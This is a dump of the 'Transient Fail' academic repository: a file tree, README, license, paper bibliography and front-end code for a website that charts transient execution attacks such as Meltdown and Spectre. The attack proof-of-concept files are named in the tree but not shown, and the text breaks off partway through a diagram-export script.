├── LICENSE ├── README.md ├── docs ├── CNAME ├── bibliography.js ├── css │ └── style.css ├── dist │ ├── FileSaver.min.js │ ├── index.js │ └── typescript │ │ ├── d3.d.ts │ │ ├── draw-links.d.ts │ │ ├── index.d.ts │ │ ├── initializeSVG.d.ts │ │ ├── link-enter.d.ts │ │ ├── link-exit.d.ts │ │ ├── link-update.d.ts │ │ ├── links │ │ ├── draw-links.d.ts │ │ ├── link-enter.d.ts │ │ ├── link-exit.d.ts │ │ └── link-update.d.ts │ │ ├── node-enter.d.ts │ │ ├── node-exit.d.ts │ │ ├── nodes │ │ ├── node-enter.d.ts │ │ ├── node-exit.d.ts │ │ └── node-update.d.ts │ │ ├── prepare-data.d.ts │ │ ├── services.d.ts │ │ ├── typings.d.ts │ │ └── utils.d.ts ├── images │ ├── foreshadow.svg │ ├── mds.svg │ ├── meltdown-root.svg │ ├── meltdown.svg │ ├── pte-a.svg │ ├── pte-ad.svg │ ├── pte-d.svg │ ├── pte-g.svg │ ├── pte-p.svg │ ├── pte-pk.svg │ ├── pte-r.svg │ ├── pte-rw.svg │ ├── pte-s.svg │ ├── pte-uc.svg │ ├── pte-us.svg │ ├── pte-wt.svg │ ├── pte-x.svg │ ├── pte.svg │ ├── spectre-root.svg │ ├── spectre.svg │ ├── transient-overview.svg │ └── zombieload.svg ├── index.html ├── js │ ├── export.js │ ├── filter.js │ └── tree.js ├── tree.js └── tree.svg └── pocs ├── Makefile ├── get_hyperthread_pair.sh ├── libcache ├── Makefile ├── cache.c └── cache.h ├── libpte ├── .gitignore ├── Makefile ├── module │ ├── Makefile │ ├── pteditor.c │ └── pteditor.h ├── ptedit.c ├── ptedit.h └── ptedit_header.h ├── meltdown ├── AC │ ├── Makefile │ ├── README.md │ └── main.c ├── BR │ ├── Makefile │ ├── README.md │ └── main.c ├── DE │ ├── Makefile │ ├── README.md │ └── main.c ├── GP │ ├── Makefile │ ├── README.md │ ├── main.c │ └── module │ │ ├── Makefile │ │ └── kernel_module.c ├── NM │ ├── Makefile │ ├── README.md │ ├── main.c │ ├── secret.h │ └── victim.c ├── P │ ├── Makefile │ ├── README.md │ └── main.c ├── PK │ ├── Makefile │ ├── README.md │ └── main.c ├── RW │ ├── Makefile │ ├── README.md │ └── main.c ├── SS │ ├── Makefile │ ├── README.md │ ├── cacheutils.h │ └── main.c ├── UD │ ├── Makefile │ ├── README.md │ └── main.c └── US │ ├── Makefile │ ├── README.md │ └── main.c └── spectre ├── BTB ├── ca_ip │ ├── Makefile │ ├── README.md │ └── main.cpp ├── ca_oop │ ├── cacheutils.h │ ├── exploit.sh │ ├── hyper_thread_pair.sh │ ├── main.c │ └── smc_utils.h ├── sa_ip │ ├── Makefile │ ├── README.md │ └── main.cpp └── sa_oop │ ├── Makefile │ ├── README.md │ └── main.c ├── PHT ├── ca_ip │ ├── Makefile │ ├── README.md │ └── main.c ├── ca_oop │ ├── Makefile │ ├── README.md │ └── main.c ├── sa_ip │ ├── Makefile │ ├── README.md │ └── main.c └── sa_oop │ ├── Makefile │ ├── README.md │ └── main.c ├── RSB ├── ca_ip │ ├── Makefile │ ├── README.md │ └── main.c ├── ca_oop │ ├── Makefile │ ├── README.md │ └── main.c ├── sa_ip │ ├── Makefile │ ├── README.md │ └── main.c └── sa_oop │ ├── Makefile │ ├── README.md │ └── main.c └── STL ├── Makefile ├── README.md └── main.c /LICENSE: -------------------------------------------------------------------------------- 1 | zlib License 2 | 3 | (C) 2020 Graz University of Technology 4 | 5 | This software is provided 'as-is', without any express or implied 6 | warranty. In no event will the authors be held liable for any damages 7 | arising from the use of this software. 8 | 9 | Permission is granted to anyone to use this software for any purpose, 10 | including commercial applications, and to alter it and redistribute it 11 | freely, subject to the following restrictions: 12 | 13 | 1. The origin of this software must not be misrepresented; you must not 14 | claim that you wrote the original software. If you use this software 15 | in a product, an acknowledgment in the product documentation would be 16 | appreciated but is not required. 17 | 2. Altered source versions must be plainly marked as such, and must not be 18 | misrepresented as being the original software. 19 | 3. This notice may not be removed or altered from any source distribution. 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Transient Fail 2 | 3 | Transient Fail is a project that gathers different proof-of-concept implementations of Transient Execution Attacks. It was originally developed for our Usenix 2019 paper 4 | 5 | [A Systematic Evaluation of Transient Execution Attacks and Defenses](http://cc0x1f.net/publications/transient_sytematization.pdf) by Canella, Van Bulck, Schwarz, Lipp, von Berg, Ortner, Piessens, Evtyushkin and Gruss 6 | 7 | ## Content 8 | This project provides two different things: 9 | * In the docs folder, we provide the source for the content of the [transient.fail](http://transient.fail) website. 10 | * In the pocs folder, we provide our proof-of-concept implementations as well as two libraries required for them. Libcache is a small library that provides all the required functionality for time measurement, flushing and loading values, TSX transactions and so on. Libpte is a fork of [PTEditor](https://github.com/misc0110/PTEditor) developed by Michael Schwarz and allows manipulation of paging structures via a Linux kernel module. 11 | 12 | ## Status 13 | 14 | Transient Fail is under active development as we add new proof-of-concepts that we discover during our research. We invite everybody who wants to contribute to do so via pull requests. 15 | 16 | ## Compilers and Operating Systems 17 | 18 | So far, we only support Linux with gcc on x86 and ARMv8. Therefore, we have only tested them on such platforms, but welcome any feedback and pull requests on other platforms. 19 | 20 | ## Literature 21 | 22 | * [Meltdown](https://meltdownattack.com) 23 | * [Spectre](https://spectreattack.com) 24 | * [Foreshadow](https://foreshadowattack.eu) 25 | * [Systematic Evaluation](https://www.usenix.org/conference/usenixsecurity19/presentation/canella) 26 | * [SpectreReturns](https://www.usenix.org/conference/woot18/presentation/koruyeh) 27 | * [ret2spec](https://arxiv.org/pdf/1807.10364.pdf) 28 | * [LazyFP](https://arxiv.org/pdf/1806.07480.pdf) 29 | 30 | -------------------------------------------------------------------------------- /docs/CNAME: -------------------------------------------------------------------------------- 1 | transient.fail -------------------------------------------------------------------------------- /docs/bibliography.js: -------------------------------------------------------------------------------- 1 | var sources = { 2 | "Canella2018": { 3 | "title": "A Systematic Evaluation of Transient Execution Attacks and Defenses", 4 | "author": "Claudio Canella, Jo Van Bulck, Michael Schwarz, Moritz Lipp, Benjamin von Berg, Philipp Ortner, Frank Piessens, Dmitry Evtyushkin, Daniel Gruss", 5 | "url": "https://arxiv.org/pdf/1811.05441.pdf", 6 | "conference": "USENIX Security 2019" 7 | }, 8 | "Kocher2019": { 9 | title: "Spectre Attacks: Exploiting Speculative Execution", 10 | author: "Paul Kocher, Jann Horn, Anders Fogh, Daniel Genkin, Daniel Gruss, Werner Haas, Mike Hamburg, Moritz Lipp, Stefan Mangard, Thomas Prescher, Michael Schwarz, Yuval Yarom", 11 | url: "https://spectreattack.com/spectre.pdf", 12 | conference: "IEEE S&P 2019" 13 | }, 14 | "Lipp2018": { 15 | title: "Meltdown: Reading Kernel Memory from User Space", 16 | author: "Moritz Lipp, Michael Schwarz, Daniel Gruss, Thomas Prescher, Werner Haas, Anders Fogh, Jann Horn, Stefan Mangard, Paul Kocher, Daniel Genkin, Yuval Yarom, Mike Hamburg", 17 | url: "https://meltdownattack.com/meltdown.pdf", 18 | conference: "USENIX Security 2018" 19 | }, 20 | "Schwarz2019": { 21 | title: "ZombieLoad: Cross-Privilege-Boundary Data Sampling", 22 | author: "Michael Schwarz, Moritz Lipp, Daniel Moghimi, Jo Van Bulck, Julian Stecklina, Thomas Prescher, Daniel Gruss", 23 | url: "https://zombieloadattack.com/zombieload.pdf", 24 | conference: "ACM CCS 2019" 25 | }, 26 | "Evtyushkin2018": { 27 | title: "BranchScope: A New Side-Channel Attack on Directional Branch Predictor", 28 | author: "Dmitry Evtyushkin, Ryan Riley, Nael Abu-Ghazaleh, Dmitry Ponomarev", 29 | url: "http://www.cs.ucr.edu/~nael/pubs/asplos18.pdf", 30 | conference: "ASPLOS 2018" 31 | }, 32 | "Fog": { 33 | url: "https://www.agner.org/optimize/microarchitecture.pdf", 34 | author: "Agner Fog", 35 | title: "The microarchitecture of Intel, AMD and VIA CPUs" 36 | }, 37 | "Maisuradze2018": { 38 | url: "https://arxiv.org/pdf/1807.10364.pdf", 39 | title: "ret2spec: Speculative Execution Using Return Stack Buffers", 40 | author: "Giorgi Maisuradze, Christian Rossow", 41 | conference: "ACM CCS 2018" 42 | }, 43 | "Koruyeh2018": { 44 | url: "https://www.usenix.org/system/files/conference/woot18/woot18-paper-koruyeh.pdf", 45 | title: "Spectre Returns! Speculation Attacks using the Return Stack Buffer", 46 | author: "Esmaeil Mohammadian Koruyeh, Khaled N. Khasawneh, Chengyu Song, Nael Abu-Ghazaleh", 47 | conference: "USENIX WOOT 2018" 48 | }, 49 | "Horn2018": { 50 | url: "https://bugs.chromium.org/p/project-zero/issues/detail?id=1528", 51 | title: "Speculative execution, variant 4: speculative store bypass", 52 | author: "Jann Horn" 53 | }, 54 | "Stecklina2018": { 55 | url: "https://arxiv.org/pdf/1806.07480.pdf", 56 | title: "LazyFP: Leaking FPU Register State using Microarchitectural Side-Channels", 57 | author: "Julian Stecklina, Thomas Prescher" 58 | }, 59 | "Intel2018": { 60 | url: "https://software.intel.com/security-software-guidance/api-app/sites/default/files/336996-Speculative-Execution-Side-Channel-Mitigations.pdf", 61 | author: "Intel", 62 | title: "Speculative Execution Side Channel Mitigations" 63 | }, 64 | "ARM2018": { 65 | url: "https://developer.arm.com/support/arm-security-updates/speculative-processor-vulnerability/download-the-whitepaper", 66 | author: "ARM", 67 | title: "Whitepaper Cache Speculation Side-channels" 68 | }, 69 | "VanBulck2018": { 70 | title: "Foreshadow: Extracting the Keys to the Intel SGX Kingdom with Transient Out-of-Order Execution", 71 | author: "Jo Van Bulck, Marina Minkin, Ofir Weisse, Daniel Genkin, Baris Kasikci, Frank Piessens, Mark Silberstein, Thomas F. Wenisch, Yuval Yarom, Raoul Strackx", 72 | url: "https://foreshadowattack.eu/foreshadow.pdf", 73 | conference: "USENIX Security 2018" 74 | }, 75 | "Weisse2018": { 76 | title: "Foreshadow-NG: Breaking the Virtual Memory Abstraction with Transient Out-of-Order Execution", 77 | author: "Ofir Weisse, Jo Van Bulck, Marina Minkin, Daniel Genkin, Baris Kasikci, Frank Piessens, Mark Silberstein, Raoul Strackx, Thomas F. Wenisch, Yuval Yarom", 78 | url: "https://foreshadowattack.eu/foreshadow-NG.pdf" 79 | }, 80 | "Kiriansky2018": { 81 | url: "https://arxiv.org/pdf/1807.03757.pdf", 82 | title: "Speculative Buffer Overflows: Attacks and Defenses", 83 | author: "Vladimir Kiriansky, Carl Waldspurger" 84 | }, 85 | "VanSchaik2019": { 86 | title: "RIDL: Rogue In-flight Data Load", 87 | author: "Stephan van Schaik, Alyssa Milburn, Sebastian Österlund, Pietro Frigo, Giorgi Maisuradze, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida", 88 | url: "https://mdsattacks.com/files/ridl.pdf", 89 | conference: "IEEE S&P 2019" 90 | }, 91 | "RIDLAddendum1": { 92 | title: "Addendum 1 to RIDL: Rogue In-flight Data Load", 93 | author: "Stephan van Schaik, Alyssa Milburn, Sebastian Österlund, Pietro Frigo, Giorgi Maisuradze, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida", 94 | url: "https://mdsattacks.com/files/ridl-addendum.pdf", 95 | conference: "Addendum to IEEE S&P 2019 paper", 96 | }, 97 | "Canella2019": { 98 | title: "Fallout: Leaking Data on Meltdown-Resistant CPUs", 99 | author: "Claudio Canella, Daniel Genkin, Lukas Giner, Daniel Gruss, Moritz Lipp, Marina Minkin, Daniel Moghimi, Frank Piessens, Michael Schwarz, Berk Sunar, Jo Van Bulck, Yuval Yarom", 100 | url: "https://dl.acm.org/doi/abs/10.1145/3319535.3363219", 101 | conference: "ACM CCS 2019" 102 | }, 103 | "IntelMDS": { 104 | url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-analysis-microarchitectural-data-sampling", 105 | author: "Intel", 106 | title: "Deep Dive: Intel Analysis of Microarchitectural Data Sampling" 107 | }, 108 | "IntelTAA": { 109 | url: "https://software.intel.com/security-software-guidance/insights/deep-dive-intel-transactional-synchronization-extensions-intel-tsx-asynchronous-abort", 110 | author: "Intel", 111 | title: "Deep Dive: Intel Transactional Synchronization Extensions (Intel TSX) Asynchronous Abort" 112 | }, 113 | "Chen2019": { 114 | title: "SGXPECTRE: Stealing Intel Secrets from SGX Enclaves via Speculative Execution", 115 | author: "Guoxing Chen, Sanchuan Chen, Yuan Xiao, Yinqian Zhang, Zhiqiang Lin, Ten H. Lai", 116 | conference: "IEEE EuroS&P 2019", 117 | url: "https://arxiv.org/pdf/1802.09085.pdf" 118 | }, 119 | "Falk2019": { 120 | author: "Brandon Falk", 121 | title: "CPU Introspection: Intel Load Port Snooping", 122 | url: "https://gamozolabs.github.io/metrology/2019/12/30/load-port-monitor.html", 123 | conference: "Gamozo Labs Blog", 124 | }, 125 | }; 126 | 127 | -------------------------------------------------------------------------------- /docs/css/style.css: -------------------------------------------------------------------------------- 1 | .desc_top { 2 | position: fixed; 3 | top: -3em; 4 | } 5 | .desc_bottom { 6 | position: fixed; 7 | top: 3em; 8 | } 9 | .node { 10 | cursor: pointer; 11 | display: flex; 12 | flex-direction: column; 13 | justify-content: center; 14 | align-items: center; 15 | border-radius: 5px; 16 | z-index: 99; 17 | } 18 | .highlight { 19 | background-color: yellow; 20 | } 21 | 22 | *{ 23 | font-family:"Roboto"; 24 | } 25 | -------------------------------------------------------------------------------- /docs/dist/FileSaver.min.js: -------------------------------------------------------------------------------- 1 | (function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{b(),a.FileSaver={exports:{}}.exports}})(this,function(){"use strict";function b(a,b){return"undefined"==typeof b?b={autoBom:!1}:"object"!=typeof b&&(console.warn("Deprecated: Expected third argument to be a object"),b={autoBom:!b}),b.autoBom&&/^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(a.type)?new Blob(["\uFEFF",a],{type:a.type}):a}function c(b,c,d){var e=new XMLHttpRequest;e.open("GET",b),e.responseType="blob",e.onload=function(){a(e.response,c,d)},e.onerror=function(){console.error("could not download file")},e.send()}function d(a){var b=new XMLHttpRequest;b.open("HEAD",a,!1);try{b.send()}catch(a){}return 200<=b.status&&299>=b.status}function e(a){try{a.dispatchEvent(new MouseEvent("click"))}catch(c){var b=document.createEvent("MouseEvents");b.initMouseEvent("click",!0,!0,window,0,0,0,80,20,!1,!1,!1,!1,0,null),a.dispatchEvent(b)}}var f="object"==typeof window&&window.window===window?window:"object"==typeof self&&self.self===self?self:"object"==typeof global&&global.global===global?global:void 0,a=f.saveAs||("object"!=typeof window||window!==f?function(){}:"download"in HTMLAnchorElement.prototype?function(b,g,h){var i=f.URL||f.webkitURL,j=document.createElement("a");g=g||b.name||"download",j.download=g,j.rel="noopener","string"==typeof b?(j.href=b,j.origin===location.origin?e(j):d(j.href)?c(b,g,h):e(j,j.target="_blank")):(j.href=i.createObjectURL(b),setTimeout(function(){i.revokeObjectURL(j.href)},4E4),setTimeout(function(){e(j)},0))}:"msSaveOrOpenBlob"in navigator?function(f,g,h){if(g=g||f.name||"download","string"!=typeof f)navigator.msSaveOrOpenBlob(b(f,h),g);else if(d(f))c(f,g,h);else{var i=document.createElement("a");i.href=f,i.target="_blank",setTimeout(function(){e(i)})}}:function(a,b,d,e){if(e=e||open("","_blank"),e&&(e.document.title=e.document.body.innerText="downloading..."),"string"==typeof a)return c(a,b,d);var g="application/octet-stream"===a.type,h=/constructor/i.test(f.HTMLElement)||f.safari,i=/CriOS\/[\d]+/.test(navigator.userAgent);if((i||g&&h)&&"undefined"!=typeof FileReader){var j=new FileReader;j.onloadend=function(){var a=j.result;a=i?a:a.replace(/^data:[^;]*;/,"data:attachment/file;"),e?e.location.href=a:location=a,e=null},j.readAsDataURL(a)}else{var k=f.URL||f.webkitURL,l=k.createObjectURL(a);e?e.location=l:location.href=l,e=null,setTimeout(function(){k.revokeObjectURL(l)},4E4)}});f.saveAs=a.saveAs=a,"undefined"!=typeof module&&(module.exports=a)}); 2 | 3 | //# sourceMappingURL=FileSaver.min.js.map -------------------------------------------------------------------------------- /docs/dist/typescript/d3.d.ts: -------------------------------------------------------------------------------- 1 | import { hierarchy, stratify, tree, treemap } from "d3-hierarchy"; 2 | import { select, selectAll } from "d3-selection"; 3 | import { zoom } from "d3-zoom"; 4 | declare const _default: { 5 | hierarchy: typeof hierarchy; 6 | stratify: typeof stratify; 7 | tree: typeof tree; 8 | treemap: typeof treemap; 9 | select: typeof select; 10 | selectAll: typeof selectAll; 11 | event: any; 12 | zoom: typeof zoom; 13 | }; 14 | export default _default; 15 | -------------------------------------------------------------------------------- /docs/dist/typescript/draw-links.d.ts: -------------------------------------------------------------------------------- 1 | import { ITreeConfig } from "./typings"; 2 | interface ICoordinates { 3 | x: number; 4 | y: number; 5 | } 6 | export declare const generateLinkLayout: (s: ICoordinates, d: ICoordinates, treeConfig: ITreeConfig) => string; 7 | export {}; 8 | -------------------------------------------------------------------------------- /docs/dist/typescript/index.d.ts: -------------------------------------------------------------------------------- 1 | import { ITreeConfig } from "./typings"; 2 | export declare function create(userSettings: Partial): { 3 | refresh: (data: any, newSettings?: Partial | undefined) => void; 4 | clean: (keepConfig: boolean) => void; 5 | }; 6 | -------------------------------------------------------------------------------- /docs/dist/typescript/initializeSVG.d.ts: -------------------------------------------------------------------------------- 1 | import * as d3 from "d3-selection"; 2 | import { ITreeConfig } from "./typings"; 3 | export declare const initiliazeSVG: (treeConfig: ITreeConfig) => d3.Selection; 4 | -------------------------------------------------------------------------------- /docs/dist/typescript/link-enter.d.ts: -------------------------------------------------------------------------------- 1 | import { HierarchyPointNode } from "d3-hierarchy"; 2 | import { BaseType, Selection } from "d3-selection"; 3 | import { ITreeConfig } from "./typings"; 4 | export declare const drawLinkEnter: (link: Selection, SVGGElement, {}>, computedTree: HierarchyPointNode<{}>, settings: ITreeConfig) => Selection, SVGGElement, {}>; 5 | -------------------------------------------------------------------------------- /docs/dist/typescript/link-exit.d.ts: -------------------------------------------------------------------------------- 1 | import { HierarchyPointNode } from "d3-hierarchy"; 2 | import { BaseType, Selection } from "d3-selection"; 3 | import { ITreeConfig } from "./typings"; 4 | export declare const drawLinkExit: (link: Selection, SVGGElement, {}>, settings: ITreeConfig) => void; 5 | -------------------------------------------------------------------------------- /docs/dist/typescript/link-update.d.ts: -------------------------------------------------------------------------------- 1 | import { HierarchyPointNode } from "d3-hierarchy"; 2 | import { BaseType, Selection } from "d3-selection"; 3 | import { ITreeConfig } from "./typings"; 4 | export declare const drawLinkUpdate: (linkEnter: Selection, SVGGElement, {}>, link: Selection, SVGGElement, {}>, settings: ITreeConfig) => void; 5 | -------------------------------------------------------------------------------- /docs/dist/typescript/links/draw-links.d.ts: -------------------------------------------------------------------------------- 1 | import { ITreeConfig } from "../typings"; 2 | interface ICoordinates { 3 | x: number; 4 | y: number; 5 | } 6 | export declare const generateLinkLayout: (s: ICoordinates, d: ICoordinates, treeConfig: ITreeConfig) => string; 7 | export {}; 8 | -------------------------------------------------------------------------------- /docs/dist/typescript/links/link-enter.d.ts: -------------------------------------------------------------------------------- 1 | import { HierarchyPointNode } from "d3-hierarchy"; 2 | import { BaseType, Selection } from "d3-selection"; 3 | import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; 4 | export declare const drawLinkEnter: (link: Selection, SVGGElement, {}>, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => Selection, SVGGElement, {}>; 5 | -------------------------------------------------------------------------------- /docs/dist/typescript/links/link-exit.d.ts: -------------------------------------------------------------------------------- 1 | import { HierarchyPointNode } from "d3-hierarchy"; 2 | import { BaseType, Selection } from "d3-selection"; 3 | import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; 4 | export declare const drawLinkExit: (link: Selection, SVGGElement, {}>, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => void; 5 | -------------------------------------------------------------------------------- /docs/dist/typescript/links/link-update.d.ts: -------------------------------------------------------------------------------- 1 | import { HierarchyPointNode } from "d3-hierarchy"; 2 | import { BaseType, Selection } from "d3-selection"; 3 | import { ITreeConfig } from "../typings"; 4 | export declare const drawLinkUpdate: (linkEnter: Selection, SVGGElement, {}>, link: Selection, SVGGElement, {}>, settings: ITreeConfig) => void; 5 | -------------------------------------------------------------------------------- /docs/dist/typescript/node-enter.d.ts: -------------------------------------------------------------------------------- 1 | import { BaseType, Selection } from "d3-selection"; 2 | import { ExtendedHierarchyPointNode, ITreeConfig } from "./typings"; 3 | export declare const placeNodeEnter: (node: Selection, settings: ITreeConfig) => Selection; 4 | -------------------------------------------------------------------------------- /docs/dist/typescript/node-exit.d.ts: -------------------------------------------------------------------------------- 1 | export declare const placeExit: (node: any, settings: any) => any; 2 | -------------------------------------------------------------------------------- /docs/dist/typescript/nodes/node-enter.d.ts: -------------------------------------------------------------------------------- 1 | import { BaseType, Selection } from "d3-selection"; 2 | import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; 3 | export declare const drawNodeEnter: (node: Selection, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => Selection; 4 | -------------------------------------------------------------------------------- /docs/dist/typescript/nodes/node-exit.d.ts: -------------------------------------------------------------------------------- 1 | import { BaseType, Selection } from "d3-selection"; 2 | import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; 3 | export declare const drawNodeExit: (node: Selection, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => void; 4 | -------------------------------------------------------------------------------- /docs/dist/typescript/nodes/node-update.d.ts: -------------------------------------------------------------------------------- 1 | import { BaseType, Selection } from "d3-selection"; 2 | import { ExtendedHierarchyPointNode, ITreeConfig } from "../typings"; 3 | export declare const drawNodeUpdate: (nodeEnter: Selection, node: Selection, settings: ITreeConfig) => void; 4 | -------------------------------------------------------------------------------- /docs/dist/typescript/prepare-data.d.ts: -------------------------------------------------------------------------------- 1 | import { HierarchyNode } from "d3-hierarchy"; 2 | import { ITreeConfig } from "./typings"; 3 | export declare const generateNestedData: (data: any, treeConfig: ITreeConfig) => HierarchyNode; 4 | export declare const generateBasicTreemap: (treeConfig: ITreeConfig) => import("d3-hierarchy").TreeLayout; 5 | -------------------------------------------------------------------------------- /docs/dist/typescript/services.d.ts: -------------------------------------------------------------------------------- 1 | export declare const getAreaSize: (htmlId: string) => { 2 | areaWidth: number; 3 | areaHeight: number; 4 | }; 5 | -------------------------------------------------------------------------------- /docs/dist/typescript/typings.d.ts: -------------------------------------------------------------------------------- 1 | import { HierarchyPointNode } from "d3-hierarchy"; 2 | export interface ITreeConfig { 3 | htmlId: string; 4 | idKey: string; 5 | relationnalField: string; 6 | hasFlatData: boolean; 7 | nodeWidth: number; 8 | nodeHeight: number; 9 | mainAxisNodeSpacing: number | "auto"; 10 | renderNode: (node: any) => string | null; 11 | linkShape?: "quadraticBeziers" | "curve" | "orthogonal" | ""; 12 | linkColor: (node: any) => string; 13 | linkWidth: (node: any) => number; 14 | onNodeClick: (node: any) => void; 15 | onNodeMouseEnter: (node: any) => void; 16 | onNodeMouseLeave: (node: any) => void; 17 | isHorizontal: boolean; 18 | hasPanAndZoom: boolean; 19 | duration: number; 20 | marginTop: number; 21 | marginBottom: number; 22 | marginLeft: number; 23 | marginRight: number; 24 | secondaryAxisNodeSpacing: number; 25 | } 26 | export interface ExtendedHierarchyPointNode extends HierarchyPointNode<{}> { 27 | x0?: number; 28 | y0?: number; 29 | } 30 | -------------------------------------------------------------------------------- /docs/dist/typescript/utils.d.ts: -------------------------------------------------------------------------------- 1 | import { ExtendedHierarchyPointNode, ITreeConfig } from "./typings"; 2 | export declare const getAreaSize: ( 3 | htmlId: string 4 | ) => { 5 | areaWidth: number; 6 | areaHeight: number; 7 | }; 8 | declare type Result = ExtendedHierarchyPointNode & { 9 | x0: number; 10 | y0: number; 11 | }; 12 | export declare const getFirstDisplayedAncestor: ( 13 | ghostNodes: ExtendedHierarchyPointNode[], 14 | viewableNodes: ExtendedHierarchyPointNode[], 15 | id: string 16 | ) => Result; 17 | export declare const setNodeLocation: ( 18 | xPosition: number, 19 | yPosition: number, 20 | settings: ITreeConfig 21 | ) => string; 22 | export {}; 23 | -------------------------------------------------------------------------------- /docs/images/foreshadow.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 12 | 13 | 14 | 61 | 62 | -------------------------------------------------------------------------------- /docs/images/mds.svg: -------------------------------------------------------------------------------- 1 | mds -------------------------------------------------------------------------------- /docs/images/meltdown.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 10 | 11 | 12 | 29 | 31 | 34 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /docs/images/spectre.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 7 | 13 | 14 | 17 | 37 | 40 | 43 | 44 | 46 | 48 | 53 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /docs/images/zombieload.svg: -------------------------------------------------------------------------------- 1 | logo_square -------------------------------------------------------------------------------- /docs/js/export.js: -------------------------------------------------------------------------------- 1 | function getTranslation(obj) { 2 | if(obj.transform === undefined) return [0,0]; 3 | if(obj.transform.baseVal === undefined) return [0,0]; 4 | for(let op of obj.transform.baseVal) { 5 | if(op.type == 2) { 6 | return [op.matrix.e, op.matrix.f]; 7 | } 8 | } 9 | return [0,0]; 10 | } 11 | 12 | function exportTikz() { 13 | var header = "\\begin{tikzpicture}[node distance=0.9cm,transform shape,scale=0.55]\n"; 14 | header += "\\tikzstyle{small} = [rectangle, rounded corners, minimum width=2.5cm, minimum height=.6cm,text centered, draw=black, fill=white]\n"; 15 | header += "\\tikzstyle{large} = [rectangle, rounded corners, minimum width=3.8cm, minimum height=.6cm,text centered, draw=black, fill=white]\n"; 16 | header += "\\tikzstyle{works} = [fill=red!30!white,thick,font=\\bfseries]\n"; 17 | header += "\\tikzstyle{fails} = [densely dashed,pattern=north west lines,pattern color=green!60!white]\n"; 18 | header += "\\tikzstyle{todo} = [fill=red!30!yellow,thick,font=\\bfseries]\n"; 19 | header += "\\tikzstyle{group} = [fill=blue!20!white]\n"; 20 | header += "\\tikzstyle{arrow} = [thick,->,>=stealth,in=180,out=0,looseness=0.6]\n"; 21 | header += "\\tikzstyle{arrow_regular} = [thick,->,>=stealth]\n"; 22 | 23 | header += "\\usetikzlibrary{shapes.geometric, arrows, patterns}\n"; 24 | 25 | var content = ""; 26 | 27 | var arrows = ""; 28 | for(let node of $("#tree svg g.node")) { 29 | var pos = getTranslation(node); 30 | var id = $(node).find(".box").prop("id").substr(2); 31 | var node_obj = index[id]; 32 | var name = node_obj.title; 33 | 34 | var style = "works"; 35 | if(node_obj.color == color.group) style = "group"; 36 | else if(node_obj.color == color.fails) style = "fails"; 37 | else if(node_obj.color == color.todo) style = "todo"; 38 | 39 | content += "\\node[large," + style + "] (node" + id + ") at (" + ((pos[0] / 40.0) * 0.9) + "," + (-pos[1] / 40.0) + ") {" + name + "};\n"; 40 | 41 | if(node_obj.father !== null) { 42 | arrows += "\\draw (node" + index[node_obj.father].id + ".east) edge[arrow_regular] (node" + id +".west);\n"; 43 | } 44 | 45 | } 46 | 47 | content += arrows; 48 | 49 | var footer = "\\end{tikzpicture}\n"; 50 | 51 | var tikz = header + content + footer; 52 | var blob = new Blob([ tikz ], {type:"text/x-pgf;charset=utf-8"}); 53 | window.saveAs(blob, "tree.tikz"); 54 | } 55 | 56 | function exportSVG() { 57 | var header = '\n'; 58 | 59 | var corr_pos = getTranslation($("#tree svg g g")[0]); 60 | 61 | var empty_svg = $("#tree svg").clone().html("").get()[0]; 62 | empty_svg.setAttribute("transform", "translate(" + (corr_pos[0]) + "," + (corr_pos[1]) +")"); 63 | empty_svg.setAttribute("xmlns", "http://www.w3.org/2000/svg"); 64 | 65 | var root = $("#tree svg")[0]; 66 | empty_svg.setAttribute("transform", ""); 67 | 68 | var content = empty_svg.outerHTML.replace("", ""); 69 | content += ""; 70 | 71 | var path_count = 0; 72 | for(let node of $("#tree svg g")) { 73 | var cn = node.className.baseVal; 74 | 75 | if(cn === undefined || cn != "node") { 76 | path_count++; 77 | if(path_count == 1) continue; 78 | content += node.outerHTML; 79 | } else { 80 | var name = $(node).find("strong").text(); 81 | var enode = $(node).clone(); 82 | 83 | var box = $(node).find("div.box")[0]; 84 | var bg = (box !== undefined ? box.style.backgroundColor : "white"); 85 | 86 | enode.html('' + name + ''); 87 | 88 | var jenode = enode.get()[0]; 89 | 90 | pos = getTranslation(jenode); 91 | jenode.setAttribute("transform", "translate(" + (pos[0] + corr_pos[0]) + "," + (pos[1] + corr_pos[1]) +")"); 92 | content += jenode.outerHTML; 93 | } 94 | 95 | } 96 | 97 | var footer = ""; 98 | var svg = header + content + footer; 99 | var blob = new Blob([ svg ], {type:"image/svg+xml;charset=utf-8"}); 100 | window.saveAs(blob, "tree.svg"); 101 | 102 | } 103 | 104 | function exportDOT() { 105 | var header = "digraph tree {\n"; 106 | 107 | var content = "rankdir=LR;\n"; 108 | 109 | var defined = []; 110 | 111 | var makeUnique = (x) => x.title.replace(/[^A-Za-z0-9]*/g, "") + x.id; 112 | 113 | var arrows = ""; 114 | for(let node of $("#tree svg g.node")) { 115 | var id = $(node).find(".box").prop("id").substr(2); 116 | var node_obj = index[id]; 117 | var name = node_obj.title; 118 | var unique = makeUnique(node_obj); 119 | 120 | var shape = "box"; 121 | if(node_obj.color == color.group) shape = "oval"; 122 | else if(node_obj.color == color.fails) shape = "box"; 123 | else if(node_obj.color == color.todo) shape = "box"; 124 | 125 | if(defined.indexOf(unique) == -1) { 126 | content += 